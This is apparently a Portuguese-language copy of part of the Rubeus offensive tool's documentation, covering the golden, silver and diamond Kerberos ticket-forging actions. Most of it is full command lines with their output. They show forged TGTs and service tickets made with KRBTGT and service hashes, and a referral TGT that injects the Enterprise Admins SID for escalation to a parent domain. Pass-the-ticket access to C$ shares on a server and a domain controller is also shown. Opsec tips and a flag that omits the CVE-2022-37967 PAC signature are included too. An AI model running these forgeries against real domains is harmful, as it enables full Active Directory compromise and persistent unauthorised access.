O parâmetro /rodcNumber:x foi adicionado para realizar Key List Requests Kerberos. O valor deste parâmetro é o número especificado após krbtgt_x no atributo msDS-KrbTgtLink do controlador de domínio somente leitura, ex.: krbtgt_12345 seria 12345. Esta solicitação requer certos flags que podem ser definidos usando /flags:forwardable,renewable,enc_pa_rep. A chave (/des:X, /rc4:X, /aes128:X ou /aes256:X) usada para criptografar é a chave da conta KRBTGT_x. Mais informações podem ser encontradas no post do blog de Elad Shamir aqui,

Forjar um TGT usando o flag /ldap para recuperar as informações e o flag /printcmd para imprimir um comando para forjar outro ticket com as mesmas informações do PAC:

root@kitploit:~
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /printcmd

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGT

[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC

[*] Domain         : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID            : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId         : 1106
[*] Groups         : 513
[*] ServiceKey     : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey         : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : krbtgt
[*] Target         : rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 29/07/2021 00:12:40
[*] StartTime      : 29/07/2021 00:12:40
[*] EndTime        : 29/07/2021 10:12:40
[*] RenewTill      : 05/08/2021 00:12:40

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs



[*] Printing a command to recreate a ticket containing the information used within this ticket

C:\Rubeus\Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED

Forjar um TGT, definindo explicitamente tudo na linha de comando:

root@kitploit:~
C:\Rubeus>Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGT

[*] Building PAC

[*] Domain         : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID            : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId         : 1106
[*] Groups         : 513
[*] ServiceKey     : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey         : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : krbtgt
[*] Target         : rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 29/07/2021 00:18:19
[*] StartTime      : 29/07/2021 00:18:19
[*] EndTime        : 29/07/2021 10:18:19
[*] RenewTill      : 05/08/2021 00:18:19

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs

Forjar 5 TGTs começando em dias diferentes com intervalo de 1 dia entre os starttimes, com o primeiro começando agora, e usando LDAP para obter as informações do PAC:

root@kitploit:~
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /rangeend:5d /rangeinterval:1d

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGT

[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC

[*] Domain         : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID            : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId         : 1106
[*] Groups         : 513
[*] ServiceKey     : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey         : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : krbtgt
[*] Target         : rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 29/07/2021 00:22:38
[*] StartTime      : 29/07/2021 00:22:38
[*] EndTime        : 29/07/2021 10:22:38
[*] RenewTill      : 05/08/2021 00:22:38

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs


[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 30/07/2021 00:22:38
[*] StartTime      : 30/07/2021 00:22:38
[*] EndTime        : 30/07/2021 10:22:38
[*] RenewTill      : 06/08/2021 00:22:38

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs


[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 31/07/2021 00:22:38
[*] StartTime      : 31/07/2021 00:22:38
[*] EndTime        : 31/07/2021 10:22:38
[*] RenewTill      : 07/08/2021 00:22:38

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs


[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 01/08/2021 00:22:38
[*] StartTime      : 01/08/2021 00:22:38
[*] EndTime        : 01/08/2021 10:22:38
[*] RenewTill      : 08/08/2021 00:22:38

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs


[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 02/08/2021 00:22:38
[*] StartTime      : 02/08/2021 00:22:38
[*] EndTime        : 02/08/2021 10:22:38
[*] RenewTill      : 09/08/2021 00:22:38

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs

silver

A ação silver forjará um ticket para o usuário /user:X e serviço /service:SPN, criptografando o ticket com o hash passado com /des:X, /rc4:X, /aes128:X ou /aes256:X e usando a mesma chave para criar o ServerChecksum. Se o argumento /krbkey:X for passado, ele será usado para criar o KDCChecksum e o TicketChecksum (se o serviço não for krbtgt/domain.com ou se domain.com for diferente do realm usado no ticket, ou seja, é um ticket de referência), caso contrário, a mesma chave usada para criptografar o ticket é usada. Se krbenctype:X não for passado, o mesmo tipo de criptografia usado pela chave de serviço é assumido para o KDCChecksum e TicketChecksum.

Os argumentos /cname:X e /crealm:X podem ser usados para definir valores diferentes para esses campos dentro do EncTicketPart (parte criptografada do ticket), isso às vezes é visto em tickets de delegação de referência. Uma seção PAC S4UDelegationInfo pode ser adicionada passando os argumentos /s4uproxytarget:X e /s4utransitedservices:SPN1,SPN2,..., esta seção fornece um alvo final para delegação e a lista de SPNs pelos quais a delegação passou.A flag /authdata pode ser usada para adicionar algumas seções genéricas de Authorization Data ao EncTicketPart, por padrão isso incluirá uma seção KERB-LOCAL e uma seção KERB-AD-RESTRICTION-ENTRY com alguns valores padrão.

A flag /nofullpacsig irá excluir o novo FullPacChecksum, introduzido para resolver a vulnerabilidade CVE-2022-37967. Esta assinatura está incluída por padrão em qualquer ticket não protegido com a chave krbtgt.

Forjando um ticket de serviço para cifs/SQL1.rubeus.ghostpack.local para o usuário ccob usando o hash RC4 da senha do serviço e assinando o KDCChecksum e o TicketChecksum com a chave correta AES256 do KRBTGT, usando LDAP com credenciais alternativas para obter as informações do PAC:

root@kitploit:~
C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$
The user name or password is incorrect.

C:\Rubeus>Rubeus.exe silver /service:cifs/SQL1.rubeus.ghostpack.local /rc4:f74b07eb77caa52b8d227a113cb649a6 /ldap /creduser:rubeus.ghostpack.local\Administrator /credpassword:Password1 /user:ccob /krbkey:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /krbenctype:aes256 /domain:rubeus.ghostpack.local /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGS

[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=ccob)'
[*] Retrieving group and domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(distinguishedname=CN=Domain Admins,CN=Users,DC=rubeus,DC=ghostpack,DC=local)(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[!] Unable to query forest root using System.DirectoryServices.ActiveDirectory.Forest, assuming rubeus.ghostpack.local is the forest root
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC

[*] Domain         : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID            : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId         : 1109
[*] Groups         : 512,513
[*] ServiceKey     : F74B07EB77CAA52B8D227A113CB649A6
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey         : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : cifs
[*] Target         : SQL1.rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGS for 'ccob' to 'cifs/SQL1.rubeus.ghostpack.local'

[*] AuthTime       : 29/07/2021 01:00:23
[*] StartTime      : 29/07/2021 01:00:23
[*] EndTime        : 29/07/2021 11:00:23
[*] RenewTill      : 05/08/2021 01:00:23

[*] base64(ticket.kirbi):

      doIFZTCCBWGgAwIBBaEDAgEWooIESDCCBERhggRAMIIEPKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      bG9jYWw=


[+] Ticket successfully imported!

C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$
 Volume in drive \\SQL1.rubeus.ghostpack.local\c$ has no label.
 Volume Serial Number is 1AD6-20BE

 Directory of \\SQL1.rubeus.ghostpack.local\c$

15/09/2018  08:19    <DIR>          PerfLogs
20/07/2021  18:17    <DIR>          Program Files
20/07/2021  18:17    <DIR>          Program Files (x86)
21/07/2021  01:53    <DIR>          Rubeus
20/07/2021  21:02    <DIR>          temp
20/07/2021  22:31    <DIR>          Users
20/07/2021  18:18    <DIR>          Windows
               0 File(s)              0 bytes
               7 Dir(s)  124,275,159,040 bytes free

Forjando um TGT de referência para um domínio confiável, usando LDAP para recuperar as informações do PAC:

root@kitploit:~
C:\Rubeus>Rubeus.exe silver /user:exploitph /ldap /service:krbtgt/dev.rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGS

[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=exploitph)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC

[*] Domain         : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID            : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId         : 1104
[*] Groups         : 513
[*] ServiceKey     : 856A1023055848748E7B9D505EBE0E02
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey         : 856A1023055848748E7B9D505EBE0E02
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_MD5
[*] Service        : krbtgt
[*] Target         : dev.rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 29/07/2021 02:45:54
[*] StartTime      : 29/07/2021 02:45:54
[*] EndTime        : 29/07/2021 12:45:54
[*] RenewTill      : 05/08/2021 02:45:54

[*] base64(ticket.kirbi):

      doIFojCCBZ6gAwIBBaEDAgEWooIEfjCCBHphggR2MIIEcqADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      LmxvY2Fs

Este ticket pode então ser usado para solicitar tickets de serviço no domínio confiável usando asktgs:

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgs /service:cifs/devdc1.dev.rubeus.ghostpack.local /dc:devdc1.dev.rubeus.ghostpack.local /ticket:doIFojCCBZ6gAwIBBaE...(snip)...NrLmxvY2Fs

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Ask TGS

[*] Using domain controller: devdc1.dev.rubeus.ghostpack.local (192.168.71.85)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/devdc1.dev.rubeus.ghostpack.local'
[+] TGS request successful!
[*] base64(ticket.kirbi):

      doIFrzCCBaugAwIBBaEDAgEWooIEgzCCBH9hggR7MIIEd6ADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ
                                        ...(snip)...
      ZXVzLmdob3N0cGFjay5sb2NhbA==

  ServiceName              :  cifs/devdc1.dev.rubeus.ghostpack.local
  ServiceRealm             :  DEV.RUBEUS.GHOSTPACK.LOCAL
  UserName                 :  exploitph
  UserRealm                :  RUBEUS.GHOSTPACK.LOCAL
  StartTime                :  29/07/2021 02:51:05
  EndTime                  :  29/07/2021 12:45:54
  RenewTill                :  05/08/2021 02:45:54
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  v1Bnp3plKCePeRpg1hrtYkI7bPDk6vw5uoj5MBNSThw=

Forje um TGT de referência para [email protected] para o domínio pai rubeus.ghostpack.local e inclua o SID do grupo Enterprise Admins:

root@kitploit:~
C:\Rubeus>Rubeus.exe silver /user:dev.ccob /ldap /service:krbtgt/rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02 /sids:S-1-5-21-3237111427-1607930709-3979055039-519 /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGS

[*] Trying to query LDAP using LDAPS for user information on domain controller DevDC1.dev.rubeus.ghostpack.local
[*] Searching path 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=dev.ccob)'
[*] Retrieving domain policy information over LDAP from domain controller DevDC1.dev.rubeus.ghostpack.local
[*] Searching path 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-2065789546-4129202522-221898516-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\devdc1.dev.rubeus.ghostpack.local\SYSVOL
[*] \\devdc1.dev.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\devdc1.dev.rubeus.ghostpack.local\SYSVOL
[*] \\devdc1.dev.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller DevDC1.dev.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=dev.rubeus.ghostpack.local))'
[*] Building PAC

[*] Domain         : DEV.RUBEUS.GHOSTPACK.LOCAL (DEV)
[*] SID            : S-1-5-21-2065789546-4129202522-221898516
[*] UserId         : 1107
[*] Groups         : 513
[*] ExtraSIDs      : S-1-5-21-3237111427-1607930709-3979055039-519
[*] ServiceKey     : 856A1023055848748E7B9D505EBE0E02
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey         : 856A1023055848748E7B9D505EBE0E02
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_MD5
[*] Service        : krbtgt
[*] Target         : rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 29/07/2021 03:03:34
[*] StartTime      : 29/07/2021 03:03:34
[*] EndTime        : 29/07/2021 13:03:34
[*] RenewTill      : 05/08/2021 03:03:34

[*] base64(ticket.kirbi):

      doIF0TCCBc2gAwIBBaEDAgEWooIEqTCCBKVhggShMIIEnaADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ
                                        ...(snip)...
      G9zdHBhY2subG9jYWw=

Este TGT de referência pode então ser usado para solicitar tickets de serviço para serviços em rubeus.ghostpack.local usando o comando asktgs e obter os privilégios do grupo Enterprise Admins:

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgs /service:cifs/pdc1.rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /ptt /ticket:doIF0TCCBc2gAwIBBaE...(snip)...cy5naG9zdHBhY2subG9jYWw=

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Ask TGS

[*] Using domain controller: pdc1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/pdc1.rubeus.ghostpack.local'
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):

      doIF9zCCBfOgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                         ...(snip)...
      ZnMbG3BkYzEucnViZXVzLmdob3N0cGFjay5sb2NhbA==

  ServiceName              :  cifs/pdc1.rubeus.ghostpack.local
  ServiceRealm             :  RUBEUS.GHOSTPACK.LOCAL
  UserName                 :  dev.ccob
  UserRealm                :  DEV.RUBEUS.GHOSTPACK.LOCAL
  StartTime                :  29/07/2021 03:04:26
  EndTime                  :  29/07/2021 13:03:34
  RenewTill                :  05/08/2021 03:03:34
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  lQGdcWT5/cacHGFko3fDJvF9poFK+tH5hctlDN89peY=



C:\Rubeus>dir \\pdc1.rubeus.ghostpack.local\c$
 Volume in drive \\pdc1.rubeus.ghostpack.local\c$ has no label.
 Volume Serial Number is 3C5F-0EF1

 Directory of \\pdc1.rubeus.ghostpack.local\c$

30/06/2021  02:13    <DIR>          inetpub
15/09/2018  08:19    <DIR>          PerfLogs
09/06/2021  17:45    <DIR>          Program Files
09/06/2021  17:45    <DIR>          Program Files (x86)
14/07/2021  01:18    <DIR>          Rubeus
19/07/2021  20:48    <DIR>          temp
30/06/2021  02:14    <DIR>          Users
14/07/2021  02:17    <DIR>          Windows
               0 File(s)              0 bytes
               8 Dir(s)  94,901,772,288 bytes free

diamond

A ação diamond forjará um TGT diamond modificando um TGT solicitado para um usuário usando os argumentos fornecidos. Primeiro, um TGT será solicitado para o usuário e chave de criptografia especificados (/rc4, /aes128, /aes256 ou /des). Uma flag /password também pode ser usada em vez de um hash - neste caso /enctype:X usará RC4 por padrão para a troca, com des|aes128|aes256 como opções. Alternativamente, a autenticação PKINIT é suportada com o argumento /certificate:X. Quando a chave privada dentro do arquivo PFX é protegida por senha, esta senha pode ser passada com o argumento /password:X. Por último, a flag /tgtdeleg pode ser passada para solicitar um TGT usando o truque tgtdeleg. O argumento /krbkey:X é usado para descriptografar o ticket, reassiná-lo após as alterações terem sido feitas e re-criptografar o ticket.

Se nenhum /domain for especificado, o domínio atual do computador é extraído, e se nenhum /dc for especificado, o mesmo é feito para o controlador de domínio atual do sistema. A flag /ptt irá "pass-the-ticket" e aplicar a credencial Kerberos resultante à sessão de logon atual. A flag /luid:0xA.. aplicará o ticket ao ID de sessão de logon especificado (elevação necessária) em vez da sessão de logon atual.

Note que não são necessários privilégios elevados na máquina para solicitar TGTs ou aplicá-los à sessão de logon atual, apenas o hash correto para o usuário alvo. Além disso, outra nota de opsec: apenas um TGT pode ser aplicado por vez à sessão de logon atual, então o TGT anterior é descartado quando o novo ticket é aplicado ao usar a opção /ptt. Uma solução alternativa é usar o parâmetro /createnetonly:C:\X.exe (que oculta o processo por padrão, a menos que a flag /show seja especificada), ou solicitar o ticket e aplicá-lo a outra sessão de logon com ptt /luid:0xA...

O argumento /ticketuser:X é usado para especificar o nome de usuário a ser usado dentro do ticket modificado, /ticketuserid:# para especificar o RID do usuário, /groups:RID1,RID2... para especificar os grupos para o ticket e /sids:SID1,SID2... para especificar os SIDs a serem incluídos no campo ExtraSIDs.

Criando um TGT diamond usando um nome de usuário e senha:

root@kitploit:~
C:\Rubeus>Rubeus.exe diamond /krbkey:3111b43b220d2f4eb8e68fe7be1179ce69328c9071cba14bef4dbb02b1cfeb9c /user:loki /password:Mischief$ /enctype:aes /domain:marvel.local /dc:earth-dc.marvel.local /ticketuser:thor /ticketuserid:1104 /groups:512

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.1.1

[*] Action: Diamond Ticket

[*] Using domain controller: earth-dc.marvel.local (10.1.1.11)
[!] Pre-Authentication required!
[!]     AES256 Salt: MARVEL.LOCALloki
[*] Using aes256_cts_hmac_sha1 hash: 8A90D4F4E8698E76FA014C97A539C1083EDDCB5A281B1274568758FB999DFCE7
[*] Building AS-REQ (w/ preauth) for: 'marvel.local\loki'
[*] Using domain controller: 10.1.1.11:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFejCCBXagAwIBBaEDAgEWooIEgzCCBH9hggR7MIIEd6ADAgEFoQ4bDE1BUlZFTC5MT0NBTKIhMB+g
                                        ...(snip)...
      oRgwFhsGa3JidGd0GwxNQVJWRUwuTE9DQUw=

[*] Decrypting TGT
[*] Retreiving PAC
[*] Modifying PAC
[*] Signing PAC
[*] Encrypting Modified TGT

[*] base64(ticket.kirbi):

